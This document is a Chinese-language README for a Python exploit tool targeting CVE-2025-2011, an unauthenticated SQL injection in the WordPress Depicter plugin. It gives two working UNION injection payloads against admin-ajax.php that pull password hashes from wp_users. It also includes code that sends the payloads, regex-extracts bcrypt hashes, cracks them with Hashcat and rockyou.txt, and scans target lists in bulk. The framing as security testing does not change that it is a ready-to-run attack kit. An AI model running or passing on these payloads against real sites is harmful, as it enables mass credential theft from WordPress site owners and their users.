项目标题与描述
Depicter Plugin SQL Injection Exploit Tool (CVE-2025-2011)
本工具是一款针对CVE-2025-2011漏洞的专业化安全测试工具。该漏洞存在于WordPress Depicter Slider & Popup Builder插件中(影响版本≤3.6.1),是一个无需认证的SQL注入漏洞。攻击者可利用此漏洞从数据库中提取敏感信息,例如用户密码哈希(bcrypt格式)。
漏洞关键信息:
- CVE ID: CVE-2025-2011
- 发布日期: 2025-05-06
- CVSS v3.1 评分: 7.5 (高危)
- CVSS向量: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- 影响版本: Depicter ≤ 3.6.1
- 修复版本: 3.6.2
功能特性
- 双Payload支持:提供两个不同的SQL注入Payload,用于探测和利用漏洞(
depicter-lead-index和depicter-lead-list端点)。 - 自动化探测:自动向目标URL发送精心构造的Payload,并解析HTTP响应。
- 哈希提取:自动从服务器响应中识别并提取可能的bcrypt密码哈希(格式:
$2[aby]$...)。 - 批量目标处理:支持通过文件输入批量处理多个目标URL,提高扫描效率。
- 交互式哈希破解:检测到哈希后,可提示用户选择是否使用Hashcat(模式3200,rockyou.txt字典)进行离线破解。
- 可视化反馈:使用彩色终端输出和动态加载指示器,提供清晰的扫描状态和结果反馈。
- 结果记录:自动将每个目标的探测结果(包括URL、状态码和响应片段)保存到以主机名命名的日志文件中。
安装指南
系统要求
- Python 3.x
- 网络连接(用于发送HTTP请求)
依赖项
requestscoloramaargparse(Python标准库)threading(Python标准库)- 可选:
hashcat(用于密码哈希破解)
安装步骤
- 克隆或下载项目文件:将
cve-2025-2011-poc.py保存到本地。 - 安装Python依赖包:
pip install requests colorama - (可选) 安装Hashcat:如果需要密码破解功能,请确保系统已安装Hashcat并配置好字典(如
rockyou.txt)。- 在基于Debian/Ubuntu的系统上:
sudo apt-get install hashcat - 请确保
/usr/share/wordlists/rockyou.txt字典文件存在,或准备好其他bcrypt字典。
- 在基于Debian/Ubuntu的系统上:
使用说明
基础用法
工具提供两种指定目标的方式:单个URL或包含多个URL的文件。
-
针对单个目标进行测试:
python3 cve-2025-2011-poc.py -u https://vulnerable-wordpress-site.com默认使用Payload 1。
-
指定使用Payload 2:
python3 cve-2025-2011-poc.py -u https://vulnerable-wordpress-site.com -p 2 -
批量扫描目标列表: 将目标URL(每行一个)保存到
targets.txt文件中。python3 cve-2025-2011-poc.py -f targets.txt
执行流程
- 运行后,工具会显示一个醒目的ASCII艺术横幅。
- 构建完整的漏洞利用URL并向目标发送请求。
- 显示一个动态旋转的加载指示器。
- 返回HTTP状态码和响应正文的前500个字符。
- 在响应中搜索bcrypt哈希。如果找到,会询问用户是否运行Hashcat进行破解。
- 所有结果(包括请求的URL和响应片段)将保存到
results_<hostname>.txt文件中。 - 如果选择进行哈希破解,提取到的哈希会被写入
hashes.txt,并调用Hashcat。
核心代码
以下是项目中关键的代码模块及其注释:
1. 漏洞Payload定义
# 定义了两个未经身份验证的SQL注入Payload,针对Depicter插件的不同AJAX端点。
PAYLOADS = {
# Payload 1: 针对 `depicter-lead-index` 动作,尝试从 `wp_users` 表提取 `user_pass`
"1": r"/wp-admin/admin-ajax.php?action=depicter-lead-index&s=test%27)+UNION+select+user_pass,2,3,4,5+FROM+wp_users--+x",
# Payload 2: 针对 `depicter-lead-list` 动作,尝试联合查询 `user_pass`
"2": r"/wp-admin/admin-ajax.php?action=depicter-lead-list&s=test%27))+table_name+UNION+select+user_pass+FROM+wp_users--+x"
}
2. SQL注入测试核心函数
def test_sqli(url, payload_choice):
"""
对给定的URL执行SQL注入测试。
:param url: 目标网站的基础URL (例如: http://example.com)
:param payload_choice: 要使用的Payload键 ('1' 或 '2')
"""
global spinner_running
# 从URL提取主机名,用于生成结果日志文件名
hostname = urlparse(url).hostname or 'unknown_host'
log_file = f"results_{hostname}.txt"
# 根据选择获取Payload并构建完整的漏洞利用URL
payload = PAYLOADS[payload_choice]
full_url = url.rstrip("/") + payload
print(f"{Fore.YELLOW}\n[+] Target: {Fore.CYAN}{full_url}")
# 启动一个后台线程显示加载动画
spinner_running = True
t = threading.Thread(target=spinner)
t.start()
try:
# 发送HTTP GET请求,触发SQL注入
response = requests.get(full_url, timeout=10)
except requests.RequestException as e:
# 如果请求失败,停止动画并打印错误信息
spinner_running = False
t.join()
print(f"{Fore.RED}\n[-] Request failed for {url}: {e}")
return
# 请求完成,停止加载动画
spinner_running = False
t.join()
# 打印HTTP状态码和响应片段
print(f"\n{Fore.GREEN}[+] Status: {response.status_code}")
snippet = response.text[:500]
print(f"{Fore.MAGENTA}[+] Response snippet:\n{Style.RESET_ALL}{snippet}")
# 将探测结果写入日志文件
with open(log_file, 'w') as f:
f.write(f"URL: {full_url}\n")
f.write(f"Status: {response.status_code}\n")
f.write("Response snippet:\n")
f.write(snippet + "\n")
print(f"{Fore.CYAN}[+] Results saved to {log_file}")
# 从响应中提取bcrypt哈希
hashes = extract_hashes(response.text)
if hashes:
print(f"{Fore.GREEN}[+] Found possible bcrypt hashes: {hashes}")
# 询问用户是否要破解哈希
choice = input(f"{Fore.YELLOW}[?] Crack with Hashcat? (Y/N): ").strip().lower()
if choice == 'y':
run_hashcat(hashes) # 调用Hashcat破解函数
else:
print(f"{Fore.CYAN}[+] Skipped Hashcat cracking.")
else:
print(f"{Fore.RED}[-] No bcrypt hashes detected in response.")
3. Bcrypt哈希提取函数
def extract_hashes(text):
"""
使用正则表达式从文本中提取bcrypt哈希。
bcrypt哈希通常以 $2a$, $2b$, $2y$ 开头。
:param text: 要搜索的文本
:return: 匹配到的哈希字符串列表
"""
# 正则表达式匹配WordPress bcrypt哈希格式 (可能带有 $wp$ 前缀)
pattern = re.compile(r'(?:\$wp\$)?\$2[aby]\$[./A-Za-z0-9]{56}')
return pattern.findall(text)
4. Hashcat破解集成函数
def run_hashcat(hashes):
"""
将提取的哈希写入文件并使用Hashcat进行破解。
:param hashes: bcrypt哈希字符串列表
"""
# 将哈希写入临时文件
with open('hashes.txt', 'w') as f:
for h in hashes:
f.write(h + '\n')
print(f"{Fore.CYAN}[+] Saved hashes to hashes.txt")
print(f"{Fore.YELLOW}[~] Running Hashcat with rockyou.txt for bcrypt (mode 3200)")
# 构建Hashcat命令:-m 3200 指定bcrypt哈希类型
cmd = ['hashcat', '-m', '3200', 'hashes.txt', '/usr/share/wordlists/rockyou.txt']
try:
# 执行Hashcat命令
subprocess.run(cmd)
except FileNotFoundError:
# 如果Hashcat未安装或找不到,提示错误
print(f"{Fore.RED}[-] Hashcat not found or not installed!")
6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ4V/yXuR+NCKddFIl768Upo